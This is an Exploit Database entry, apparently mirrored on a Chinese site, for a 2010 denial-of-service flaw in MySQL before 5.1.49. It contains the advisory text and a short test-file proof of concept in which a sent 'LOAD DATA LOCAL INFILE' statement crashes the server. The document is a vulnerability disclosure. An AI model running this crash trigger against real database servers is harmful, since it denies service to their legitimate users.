OraclMySQL 5.1.48 – ‘LOAD DATA INFILE’ Denial of Service

• Exploit Database
• 114 阅读

• 作者： Elena Stepanova
  日期： 2010-08-20
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/34510/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

  source: https://www.securityfocus.com/bid/42625/info   MySQL is prone to a denial-of-service vulnerability.   An attacker can exploit this issue to crash the database, denying access to legitimate users.   This issue affects versions prior to MySQL 5.1.49.   NOTE: This issue was previously covered in BID 42594 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been given its own record to better document it.   # cat t/tst.test # The file might exist or not, it does not make any difference. # --send is important   CREATE TABLE test.t_load (id INT NOT NULL); --send LOAD DATA LOCAL INFILE &apos;tb.txt&apos; INTO TABLE test.t_load   #<EOF>